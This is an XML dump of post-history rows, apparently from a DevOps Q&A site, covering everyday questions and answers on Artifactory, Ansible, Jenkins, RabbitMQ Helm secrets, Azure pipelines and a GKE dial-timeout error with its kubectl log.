  <row Id="43261" PostHistoryTypeId="2" PostId="13738" RevisionGUID="a5c5b84c-5ef8-40bb-a51b-45d9effc92ac" CreationDate="2021-04-19T06:51:37.103" UserId="4090" Text="First, I'd highly recommend not doing this - a better approach would be to have a single source of truth (that is your repo). Force developers to commit &amp; push changes and let the pipeline do the rest. If it's not in repo, it didn't happen.&#xD;&#xA;&#xD;&#xA;If you absolutely have to, then I'd go with &quot;brute-force&quot; way - have a pipeline that triggers periodically (every couple of hours or so) and does a diff of server files against repo files. If something changed, &lt;strike&gt;send a threat email to the developer who did this&lt;/strike&gt; sync back to repo." ContentLicense="CC BY-SA 4.0" />
  <row Id="43262" PostHistoryTypeId="2" PostId="13739" RevisionGUID="f0254dc5-a03e-4cab-b67f-3cfb35fa8152" CreationDate="2021-04-19T07:39:55.480" UserId="24609" Text="Artifactory stores the artifacts that are downloaded from maven central.&#xD;&#xA;So if another developer needs the same dependencies they don't need to be downloaded again from maven central but instead they can be delivered from the local artifactory instance. &#xD;&#xA;This makes downloading faster because company networks are usualy faster then the internet connection and it also saves bandwith. " ContentLicense="CC BY-SA 4.0" />
  <row Id="43263" PostHistoryTypeId="5" PostId="13739" RevisionGUID="d0e45781-ba4c-414a-b6ad-24c054a56004" CreationDate="2021-04-19T08:05:05.527" UserId="24609" Comment="added 859 characters in body" Text="Artifactory stores the artifacts that are downloaded from maven central.&#xD;&#xA;So if another developer needs the same dependencies they don't need to be downloaded again from maven central but instead they can be delivered from the local artifactory instance. &#xD;&#xA;This makes downloading faster because company networks are usualy faster then the internet connection and it also saves bandwith. &#xD;&#xA;&#xD;&#xA;Imagine that a developer adds a new dependency to a project. This dependency then needs to be downloaded into the local maven cache of every other developer that is working on the same project. &#xD;&#xA;On large projects with a lot of developers this means that the dependency might be downloaded 30 times. &#xD;&#xA;&#xD;&#xA;Also dependencys might be removed from maven central. &#xD;&#xA;If you have them in your local artifactory instance the project who depends on it can still be build.&#xD;&#xA;&#xD;&#xA;Another benefit that has nothing to do with maven: Artifactory provides several types of repositories like for Docker or Vagrant. &#xD;&#xA;So instead of setting up a maven artifacts repository, a docker registry and some kind of vagrant store you could create three repositories in artifactory. &#xD;&#xA;Thus you only need to maintain one application (artifactory) instead of three separate applications." ContentLicense="CC BY-SA 4.0" />
  <row Id="43264" PostHistoryTypeId="5" PostId="13739" RevisionGUID="e483ca57-dfc5-4415-b501-0a3f7297ae44" CreationDate="2021-04-19T08:12:39.243" UserId="24609" Comment="added 859 characters in body" Text=" 1. Saved bandwith and faster downloads: Artifactory stores the artifacts that are downloaded from maven central. So if another developer needs the same dependencies they don't need to be downloaded again from maven central but instead they can be delivered from the local artifactory instance. &#xD;&#xA;This makes downloading faster because company networks are usualy faster then the internet connection and it also saves bandwith.  &#xD;&#xA;As example imagine that a developer adds a new dependency to a project. This dependency then needs to be downloaded into the local maven cache of every other developer that is working on the same project. &#xD;&#xA;On large projects with a lot of developers this means that the dependency might be downloaded 30 times. &#xD;&#xA;1. Stable builds: Dependencys might be removed from maven central. If you have them in your local artifactory instance the project who depends on it can still be build.&#xD;&#xA;1. Easier maintenance: Another benefit that has nothing to do with maven: Artifactory provides several types of repositories like for Docker or Vagrant. &#xD;&#xA;So instead of setting up a maven artifacts repository, a docker registry and some kind of vagrant store you could create three repositories in artifactory. &#xD;&#xA;Thus you only need to maintain one application (artifactory) instead of three separate applications.&#xD;&#xA;&#xD;&#xA;Some or all of these benefits might also apply to other binary repository managers but as I only know artifactory I can't say something about that." ContentLicense="CC BY-SA 4.0" />
  <row Id="43265" PostHistoryTypeId="2" PostId="13740" RevisionGUID="f32986b4-72ef-44ec-83f5-5b4048f7c4b2" CreationDate="2021-04-19T08:40:40.647" UserId="10715" Text="In Ansible I can use a task such as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: Gather the package facts&#xD;&#xA;  package_facts:&#xD;&#xA;    manager: auto&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to gather the package facts and a condition such as:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;when: &quot;'foobar' in ansible_facts.packages&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;to only execute a task when package `foobar` is installed. Gathering the package facts is a rather lengthy process compared to many of the other tasks in my playbooks.&#xD;&#xA;&#xD;&#xA;For the sake of this question we can also assume that instead of `manager: auto` I'm using `manager: apt`.&#xD;&#xA;&#xD;&#xA;Now I was unable to find any information regarding if or when the fact `ansible_facts.packages` gets invalidated after a subsequent package manager operation and a look at the fact via `debug` module doesn't give me any indication as to when it was gathered. Similarly I found no obvious way of checking against the cache time of the package manager. So in essence I was unable to come up with a means of only gathering (or re-gathering) the package facts when necessary.&#xD;&#xA;&#xD;&#xA;So, questions:&#xD;&#xA;&#xD;&#xA;1. does the `ansible_facts.packages` fact get invalidated after subsequent package manager operations?&#xD;&#xA;2. if not: how can I get close to the desired &quot;only gather package facts if something changed&quot;?&#xD;&#xA;&#xD;&#xA;NB: according to `ansible --version` I am running version 2.10.7." ContentLicense="CC BY-SA 4.0" />
  <row Id="43266" PostHistoryTypeId="1" PostId="13740" RevisionGUID="f32986b4-72ef-44ec-83f5-5b4048f7c4b2" CreationDate="2021-04-19T08:40:40.647" UserId="10715" Text="Are package facts getting invalidated automatically when I install remove packages?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43267" PostHistoryTypeId="3" PostId="13740" RevisionGUID="f32986b4-72ef-44ec-83f5-5b4048f7c4b2" CreationDate="2021-04-19T08:40:40.647" UserId="10715" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43268" PostHistoryTypeId="5" PostId="8638" RevisionGUID="9b8fb927-f9a7-424f-a0f1-937e41402fc4" CreationDate="2021-04-19T10:30:32.607" UserId="7715" Comment="deleted 10 characters in body" Text="Let's simplify the dictionary in the first task and loop the subelements in the second. The tasks below&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - set_fact:&#xD;&#xA;        nginx_users_selected: &quot;{{ nginx_users_selected|&#xD;&#xA;                                  default({})|&#xD;&#xA;                                  combine({item.key: item.value})&#xD;&#xA;                                  }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users|&#xD;&#xA;                dict2items|&#xD;&#xA;                json_query('[*].{key: key, value: value.basic_auth}')&#xD;&#xA;                }}&quot;&#xD;&#xA;      when: item.value&#xD;&#xA;    - debug:&#xD;&#xA;        msg: &quot;{{ item.0.key }} {{ item.1 }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users_selected|&#xD;&#xA;                dict2items|&#xD;&#xA;                subelements('value')&#xD;&#xA;                }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    &quot;msg&quot;: &quot;instance2 username1&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance2 username2&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance1 username1&quot;&#xD;&#xA;    &quot;msg&quot;: &quot;instance1 username2&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Then we can create the structure&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    - set_fact:&#xD;&#xA;        my_list: &quot;{{ my_list|default([]) +&#xD;&#xA;                     [ item.0.key, [ item.1 ]] }}&quot;&#xD;&#xA;      loop: &quot;{{ nginx_users_selected|&#xD;&#xA;                dict2items|&#xD;&#xA;                subelements('value') }}&quot;&#xD;&#xA;    - debug:&#xD;&#xA;        var: my_list&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;give&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;    &quot;my_list&quot;: [&#xD;&#xA;        &quot;instance2&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username1&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance2&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username2&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance1&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username1&quot;&#xD;&#xA;        ], &#xD;&#xA;        &quot;instance1&quot;, &#xD;&#xA;        [&#xD;&#xA;            &quot;username2&quot;&#xD;&#xA;        ]&#xD;&#xA;    ]&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43269" PostHistoryTypeId="2" PostId="13741" RevisionGUID="38d6698d-fcf3-468c-b5af-1996f3fbb969" CreationDate="2021-04-19T11:35:41.113" UserId="20205" Text="I know the question is old, but as I assume others also will run into this requirement...&#xD;&#xA;&#xD;&#xA;As OP is bound to this exactly host anyway (reason to use docker-copose over swarm), I suggest another route.&#xD;&#xA;&#xD;&#xA;NFS on Synology is a PITA. One has to manage UIDs to be the same on server and client. It's impossible to change UIDs on Synology, hence only client side UIDs can be adopted to fit server UIDs, which can cause ID clashes and is cumbersome. For this reasons I went the SMB/CIFS route.&#xD;&#xA;&#xD;&#xA;To be able to mounted a Synology share to a host directory vie the `/etc/fstab` file. Authentication is done by `credentials=/.smbcredentials_3` option. This subdirectory of this then is mounted to the container. This is an easy setup in the compose.yml.&#xD;&#xA;&#xD;&#xA;Regarding reboots of the NAS. I run this now since two years without having any issues. I can't remember how it's done, but AFAIR the remount is done autamaically by the host.&#xD;&#xA;&#xD;&#xA;My containers are short lived and created by a cron job. In case of a failure due to the NAS shutdown / reboot, the next run will find the mounted NAS share again." ContentLicense="CC BY-SA 4.0" />
  <row Id="43270" PostHistoryTypeId="2" PostId="13742" RevisionGUID="975f0924-2fd4-4ce6-b2cb-372f1f2d0631" CreationDate="2021-04-19T11:39:08.680" UserId="20205" Text="I am new to kubernets and ZFS. Hence, bare with me.&#xD;&#xA;&#xD;&#xA;I am currently setting up a desktop for development work. I also want to learn kubernets and ZFS. No critical application will run on it.&#xD;&#xA;&#xD;&#xA;My plan is as follows:&#xD;&#xA;&#xD;&#xA;* have one or two VMs to run kubernets on.&#xD;&#xA;* use iscsi targets on a ZFS pool on the virtualisation host for all the docker volumes I need.&#xD;&#xA;&#xD;&#xA;Reasons for this setup:&#xD;&#xA;&#xD;&#xA;* learning kubernets and ZFS&#xD;&#xA;* have a development environment where I can tinker fast&#xD;&#xA;* developing my applications in a way I can push them to AWS EKS later on with minimal adoptions&#xD;&#xA;* ease of backup for the semi important parts&#xD;&#xA;&#xD;&#xA;Is there any obvious flaw in this setup?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43271" PostHistoryTypeId="1" PostId="13742" RevisionGUID="975f0924-2fd4-4ce6-b2cb-372f1f2d0631" CreationDate="2021-04-19T11:39:08.680" UserId="20205" Text="iscsi targets on ZFS for kubernetes volumes" ContentLicense="CC BY-SA 4.0" />
  <row Id="43272" PostHistoryTypeId="3" PostId="13742" RevisionGUID="975f0924-2fd4-4ce6-b2cb-372f1f2d0631" CreationDate="2021-04-19T11:39:08.680" UserId="20205" Text="&lt;virtualization&gt;&lt;kubernetes-volume&gt;&lt;persistent-volumes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43273" PostHistoryTypeId="2" PostId="13743" RevisionGUID="463b289f-f8f1-4edf-818c-f60a6a1cdb1c" CreationDate="2021-04-19T12:09:30.990" UserId="19849" Text="I've been using Azure Pipelines and Releases to build and publish artifacts.&#xD;&#xA;&#xD;&#xA;In SolutionX, there are projects ProjectY and ProjectYTests.&#xD;&#xA;&#xD;&#xA;I build everything in the solution (to run the tests) and then I want to publish just ProjectY's built contents, in an artifact called drop.&#xD;&#xA;&#xD;&#xA;I deploy it to a folder called FolderZ.&#xD;&#xA;&#xD;&#xA;When I download the published artifact, the filepath is like: FolderZ/drop/ProjectY/bin/Release/*&#xD;&#xA;&#xD;&#xA;I'd much rather it was just FolderZ/*&#xD;&#xA;&#xD;&#xA;How can I get rid of (at least) the bin/Release pipeline bit?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43274" PostHistoryTypeId="1" PostId="13743" RevisionGUID="463b289f-f8f1-4edf-818c-f60a6a1cdb1c" CreationDate="2021-04-19T12:09:30.990" UserId="19849" Text="How to only include directory contents in Azure Publish Artifact without full filepath?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43275" PostHistoryTypeId="3" PostId="13743" RevisionGUID="463b289f-f8f1-4edf-818c-f60a6a1cdb1c" CreationDate="2021-04-19T12:09:30.990" UserId="19849" Text="&lt;azure&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43276" PostHistoryTypeId="2" PostId="13744" RevisionGUID="2743db90-f266-4734-93ad-e4126db94024" CreationDate="2021-04-19T14:40:56.747" UserId="27237" Text="I have an SVN repo that only a subset of user's are allowed to access. I would like to have Jenkins checkout the repo and build it according the groovy script in the repo. However, when setting this up like my other pipelines BuildSlave fails due to not having permission to checkout the repo. There is an existing set of users with access to the repo but they do not have permission to start JAgent. Is there a way I can set up Jenkins such that there is some way to checkout the repo without unauthorized users being able to see the the pipeline or the SVN?&#xD;&#xA;&#xD;&#xA;I have found &#xD;&#xA;https://stackoverflow.com/questions/42426804/restricting-others-to-build-the-particular-job-in-jenkins&#xD;&#xA;&#xD;&#xA;which pointed me towards https://plugins.jenkins.io/role-strategy/ &#xD;&#xA;&#xD;&#xA;I think if I created a group in Jenkins that I would be able to define who can see the pipeline but that doesn't solve the SVN access. I am wary of adding BuildSlave to the SVN repo's whitelist. There is already a group account. I have been told adding this group account to Jenkins would allow unauthorized users to see the account. Is there a way to combine these role strategies with the group account to get what I want?&#xD;&#xA;&#xD;&#xA;My team is currently thinking of setting up a separate Jenkins server to deal with the restricted project. How does that solution compare to built-in alternatives?   " ContentLicense="CC BY-SA 4.0" />
  <row Id="43277" PostHistoryTypeId="1" PostId="13744" RevisionGUID="2743db90-f266-4734-93ad-e4126db94024" CreationDate="2021-04-19T14:40:56.747" UserId="27237" Text="Jenkins pipeline for restricted repo" ContentLicense="CC BY-SA 4.0" />
  <row Id="43278" PostHistoryTypeId="3" PostId="13744" RevisionGUID="2743db90-f266-4734-93ad-e4126db94024" CreationDate="2021-04-19T14:40:56.747" UserId="27237" Text="&lt;jenkins&gt;&lt;authentication&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43283" PostHistoryTypeId="2" PostId="13746" RevisionGUID="3864e261-9959-4d43-af59-433d0850de49" CreationDate="2021-04-20T04:15:20.423" UserId="6416" Text="I am using a RHEL 7.8 OS. This instance contains outbound access. Is it possible to disable internet connetion using command line?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43284" PostHistoryTypeId="1" PostId="13746" RevisionGUID="3864e261-9959-4d43-af59-433d0850de49" CreationDate="2021-04-20T04:15:20.423" UserId="6416" Text="How to Disable Outbound Access Connection on RHEL 7.8" ContentLicense="CC BY-SA 4.0" />
  <row Id="43285" PostHistoryTypeId="3" PostId="13746" RevisionGUID="3864e261-9959-4d43-af59-433d0850de49" CreationDate="2021-04-20T04:15:20.423" UserId="6416" Text="&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43286" PostHistoryTypeId="6" PostId="13702" RevisionGUID="b1d56fd9-0bfc-4de5-8df2-96b49da380c2" CreationDate="2021-04-20T05:04:22.073" UserId="6162" Comment="add appropriate tag" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43287" PostHistoryTypeId="24" PostId="13702" RevisionGUID="b1d56fd9-0bfc-4de5-8df2-96b49da380c2" CreationDate="2021-04-20T05:04:22.073" Comment="Proposed by 6162 approved by 40 edit id of 1367" ContentLicense="CC BY-SA 4.0" />
  <row Id="43288" PostHistoryTypeId="2" PostId="13747" RevisionGUID="be079881-0d1c-48a5-8659-1643be551d3f" CreationDate="2021-04-20T10:46:32.960" UserId="19849" Text="In the copy files task, there is an optional parameter flattenFiles (bool). This does the job." ContentLicense="CC BY-SA 4.0" />
  <row Id="43289" PostHistoryTypeId="2" PostId="13748" RevisionGUID="2d81c273-7cff-436f-a938-e339580d8108" CreationDate="2021-04-20T10:55:12.527" UserId="19849" Text="They are intentionally confusing. Scott Adams coined the term &quot;confusopoly&quot; to describe payment structures so complex that it's impossible to compare two things like for like. Phone tariffs are a great example.&#xD;&#xA;&#xD;&#xA;Having recently rolled out some cloud-based infra at my org, the advice I'd give is:&#xD;&#xA;&#xD;&#xA;1. Start tiny and scale up.&#xD;&#xA;2. Monitor your costs at each step of the way." ContentLicense="CC BY-SA 4.0" />
  <row Id="43290" PostHistoryTypeId="2" PostId="13749" RevisionGUID="cd9e02e7-ab3e-42aa-a3bc-c8853cbefb5c" CreationDate="2021-04-20T11:11:58.913" UserId="26309" Text="The rabbit helm chart documentation says that if I configure&#xD;&#xA;   &#xD;&#xA;     auth:&#xD;&#xA;        existingPasswordSecret&#xD;&#xA;        existingErlangSecret&#xD;&#xA;&#xD;&#xA;then rabbit will pick up these secrets from existing resources. This actually works until I enable loadDefinition in order to pre-configure virtual hosts upon chart installation:&#xD;&#xA;&#xD;&#xA;    extraSecrets:&#xD;&#xA;      load-definition:&#xD;&#xA;        load_definition.json: |&#xD;&#xA;          {&#xD;&#xA;            &quot;users&quot;: [&#xD;&#xA;              {&#xD;&#xA;                &quot;name&quot;: &quot;user&quot;,&#xD;&#xA;                &quot;tags&quot;: &quot;administrator&quot;&#xD;&#xA;              }&#xD;&#xA;            ],&#xD;&#xA;            &quot;vhosts&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;name&quot;: &quot;development&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;name&quot;: &quot;staging&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;name&quot;: &quot;/&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;            &quot;permissions&quot;: [&#xD;&#xA;                {&#xD;&#xA;                    &quot;user&quot;: &quot;user&quot;,&#xD;&#xA;                    &quot;vhost&quot;: &quot;development&quot;,&#xD;&#xA;                    &quot;configure&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;write&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;read&quot;: &quot;.*&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;user&quot;: &quot;user&quot;,&#xD;&#xA;                    &quot;vhost&quot;: &quot;/&quot;,&#xD;&#xA;                    &quot;configure&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;write&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;read&quot;: &quot;.*&quot;&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                    &quot;user&quot;: &quot;user&quot;,&#xD;&#xA;                    &quot;vhost&quot;: &quot;staging&quot;,&#xD;&#xA;                    &quot;configure&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;write&quot;: &quot;.*&quot;,&#xD;&#xA;                    &quot;read&quot;: &quot;.*&quot;&#xD;&#xA;                }&#xD;&#xA;            ],&#xD;&#xA;&#xD;&#xA;After enabling rabbit is not using password from external secret and password is empty.&#xD;&#xA;My question - how can I still use existing secret for defining password AND preconfigure &#xD;&#xA;vhosts, permissions, etc? Is existing secret usage compatible with load_definition?&#xD;&#xA;&#xD;&#xA;I've also tried to remove &quot;users&quot; block from definition, but then rabbit is crashing right after installation." ContentLicense="CC BY-SA 4.0" />
  <row Id="43291" PostHistoryTypeId="1" PostId="13749" RevisionGUID="cd9e02e7-ab3e-42aa-a3bc-c8853cbefb5c" CreationDate="2021-04-20T11:11:58.913" UserId="26309" Text="How to set RabbitMQ password from external secret?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43292" PostHistoryTypeId="3" PostId="13749" RevisionGUID="cd9e02e7-ab3e-42aa-a3bc-c8853cbefb5c" CreationDate="2021-04-20T11:11:58.913" UserId="26309" Text="&lt;helm&gt;&lt;kubernetes-helm&gt;&lt;rabbitmq&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43293" PostHistoryTypeId="2" PostId="13750" RevisionGUID="5f51686f-9d51-416a-a65a-0344d7318beb" CreationDate="2021-04-20T17:50:55.780" UserId="5058" Text="According the documentation you're giving, you need to remove `run-build` from the command :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ oc run NAME --image=&lt;image&gt; \&#xD;&#xA;    [--generator=&lt;resource&gt;] \&#xD;&#xA;    [--port=&lt;port&gt;] \&#xD;&#xA;    [--replicas=&lt;replicas&gt;] \&#xD;&#xA;    [--dry-run=&lt;bool&gt;] \&#xD;&#xA;    [--overrides=&lt;inline_json&gt;] \&#xD;&#xA;    [options]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43294" PostHistoryTypeId="5" PostId="13727" RevisionGUID="598895b7-49cb-4fc4-b805-f408ae3efd36" CreationDate="2021-04-21T07:12:04.583" UserId="354" Comment="add some context from the webpage to protect against linkrot" Text="from: https://octopus.com/docs/installation/octopus-in-container/octopus-server-container-linux&#xD;&#xA;Octopus can now be launched in a docker container in linux -&#xD;&#xA;&#xD;&#xA;&gt; Octopus Server Linux Containers launched as part of 2020.6 and it's our recommended way to use containers with Octopus Deploy. You will need to upgrade to 2020.6 before using the Octopus Linux Container." ContentLicense="CC BY-SA 4.0" />
  <row Id="43295" PostHistoryTypeId="2" PostId="13751" RevisionGUID="fde68b47-e1f9-4c41-a025-ce37d667f465" CreationDate="2021-04-21T09:25:44.537" UserId="27258" Text="We have an issue in our GKE cluster that started suddenly yesterday where intermittently we get errors interacting with the control plane. This affects our Jenkins builds which use the Kubernetes plugin, but also even simply running and attaching to pods. For example, if we do a `kubectl run -i --tty --rm --image=busybox some-name`, about 20% of the time we'll get the following error:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Error attaching, falling back to logs: error dialing backend: dial timeout&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Hoping someone can help suggest how we can diagnose further.&#xD;&#xA;&#xD;&#xA;Verbose logs from the `kubectl run`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;I0421 09:38:47.720435    2483 round_trippers.go:420] POST https://35.189.86.41/api/v1/namespaces/default/pods&#xD;&#xA;I0421 09:38:47.720448    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:38:47.720452    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:38:47.720456    2483 round_trippers.go:431]     Content-Type: application/json&#xD;&#xA;I0421 09:38:47.720460    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:38:47.852510    2483 round_trippers.go:446] Response Status: 201 Created in 132 milliseconds&#xD;&#xA;I0421 09:38:47.860462    2483 reflector.go:175] Starting reflector *v1.Pod (0s) from k8s.io/client-go/tools/watch/informerwatcher.go:146&#xD;&#xA;I0421 09:38:47.860489    2483 reflector.go:211] Listing and watching *v1.Pod from k8s.io/client-go/tools/watch/informerwatcher.go:146&#xD;&#xA;I0421 09:38:47.860610    2483 round_trippers.go:420] GET https://35.189.86.41/api/v1/namespaces/default/pods?fieldSelector=metadata.name%3Dsome-name&amp;limit=500&amp;resourceVersion=0&#xD;&#xA;I0421 09:38:47.860619    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:38:47.860628    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:38:47.860633    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:38:47.912301    2483 round_trippers.go:446] Response Status: 200 OK in 51 milliseconds&#xD;&#xA;I0421 09:38:47.919196    2483 round_trippers.go:420] GET https://35.189.86.41/api/v1/namespaces/default/pods?allowWatchBookmarks=true&amp;fieldSelector=metadata.name%3Dsome-name&amp;resourceVersion=298429547&amp;timeout=6m8s&amp;timeoutSeconds=368&amp;watch=true&#xD;&#xA;I0421 09:38:47.919212    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:38:47.919219    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:38:47.919224    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:38:47.964479    2483 shared_informer.go:253] caches populated&#xD;&#xA;I0421 09:38:48.002537    2483 round_trippers.go:446] Response Status: 200 OK in 83 milliseconds&#xD;&#xA;I0421 09:38:49.416988    2483 reflector.go:181] Stopping reflector *v1.Pod (0s) from k8s.io/client-go/tools/watch/informerwatcher.go:146&#xD;&#xA;I0421 09:38:49.417115    2483 attach.go:338] defaulting container name to some-name&#xD;&#xA;If you don't see a command prompt, try pressing enter.&#xD;&#xA;I0421 09:38:49.417419    2483 round_trippers.go:420] POST https://35.189.86.41/api/v1/namespaces/default/pods/some-name/attach?container=some-name&amp;stdin=true&amp;stdout=true&amp;tty=true&#xD;&#xA;I0421 09:38:49.417431    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:38:49.417436    2483 round_trippers.go:431]     X-Stream-Protocol-Version: v4.channel.k8s.io&#xD;&#xA;I0421 09:38:49.417440    2483 round_trippers.go:431]     X-Stream-Protocol-Version: v3.channel.k8s.io&#xD;&#xA;I0421 09:38:49.417444    2483 round_trippers.go:431]     X-Stream-Protocol-Version: v2.channel.k8s.io&#xD;&#xA;I0421 09:38:49.417447    2483 round_trippers.go:431]     X-Stream-Protocol-Version: channel.k8s.io&#xD;&#xA;I0421 09:38:49.417451    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:39:19.524483    2483 round_trippers.go:446] Response Status: 500 Internal Server Error in 30106 milliseconds&#xD;&#xA;Error attaching, falling back to logs: error dialing backend: dial timeout&#xD;&#xA;I0421 09:39:19.525463    2483 attach.go:338] defaulting container name to some-name&#xD;&#xA;I0421 09:39:19.525813    2483 round_trippers.go:420] GET https://35.189.86.41/api/v1/namespaces/default/pods/some-name/log?container=some-name&#xD;&#xA;I0421 09:39:19.525829    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:39:19.525837    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:39:19.525843    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:39:49.585194    2483 round_trippers.go:446] Response Status: 500 Internal Server Error in 30059 milliseconds&#xD;&#xA;I0421 09:39:49.591557    2483 round_trippers.go:420] GET https://35.189.86.41/api/v1/namespaces/default/pods/some-name&#xD;&#xA;I0421 09:39:49.591578    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:39:49.591585    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:39:49.591611    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:39:49.636553    2483 round_trippers.go:446] Response Status: 200 OK in 44 milliseconds&#xD;&#xA;I0421 09:39:49.639346    2483 round_trippers.go:420] DELETE https://35.189.86.41/api/v1/namespaces/default/pods/some-name&#xD;&#xA;I0421 09:39:49.639366    2483 round_trippers.go:427] Request Headers:&#xD;&#xA;I0421 09:39:49.639373    2483 round_trippers.go:431]     Accept: application/json, */*&#xD;&#xA;I0421 09:39:49.639379    2483 round_trippers.go:431]     Content-Type: application/json&#xD;&#xA;I0421 09:39:49.639386    2483 round_trippers.go:431]     User-Agent: kubectl/v1.18.3 (darwin/amd64) kubernetes/2e7996e&#xD;&#xA;I0421 09:39:49.692164    2483 round_trippers.go:446] Response Status: 200 OK in 52 milliseconds&#xD;&#xA;pod &quot;some-name&quot; deleted&#xD;&#xA;I0421 09:39:49.692460    2483 helpers.go:216] server response object: [{&#xD;&#xA;  &quot;metadata&quot;: {},&#xD;&#xA;  &quot;status&quot;: &quot;Failure&quot;,&#xD;&#xA;  &quot;message&quot;: &quot;Get \&quot;https://10.31.60.49:10250/containerLogs/default/some-name/some-name\&quot;: dial timeout&quot;,&#xD;&#xA;  &quot;code&quot;: 500&#xD;&#xA;}]&#xD;&#xA;F0421 09:39:49.692479    2483 helpers.go:115] Error from server: Get &quot;https://10.31.60.49:10250/containerLogs/default/some-name/some-name&quot;: dial timeout&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="43296" PostHistoryTypeId="1" PostId="13751" RevisionGUID="fde68b47-e1f9-4c41-a025-ce37d667f465" CreationDate="2021-04-21T09:25:44.537" UserId="27258" Text="How to diagnose intermittent &quot;error dialing backend: dial timeout&quot; error in GKE" ContentLicense="CC BY-SA 4.0" />
  <row Id="43297" PostHistoryTypeId="3" PostId="13751" RevisionGUID="fde68b47-e1f9-4c41-a025-ce37d667f465" CreationDate="2021-04-21T09:25:44.537" UserId="27258" Text="&lt;kubernetes&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43298" PostHistoryTypeId="2" PostId="13752" RevisionGUID="c81bd0d1-de8e-4a50-a1a5-e7ad231b0095" CreationDate="2021-04-21T09:58:19.303" UserId="26952" Text="I am a beginner in DevOps.&#xD;&#xA;I created a continuous integration cycle using jenkins(docker image) and bitbucket.&#xD;&#xA;I used a simple spring boot hello-world project and after CI i got an executable Jar.&#xD;&#xA;I created a dockerfile and docker-compose for the deployment process.&#xD;&#xA;I tried this on my local server and it worked successfully(hello world successfully displayed on browser).&#xD;&#xA;Now i want to begin the continuous deployment process on remote server how can i do that ?" ContentLicense="CC BY-SA 4.0" />
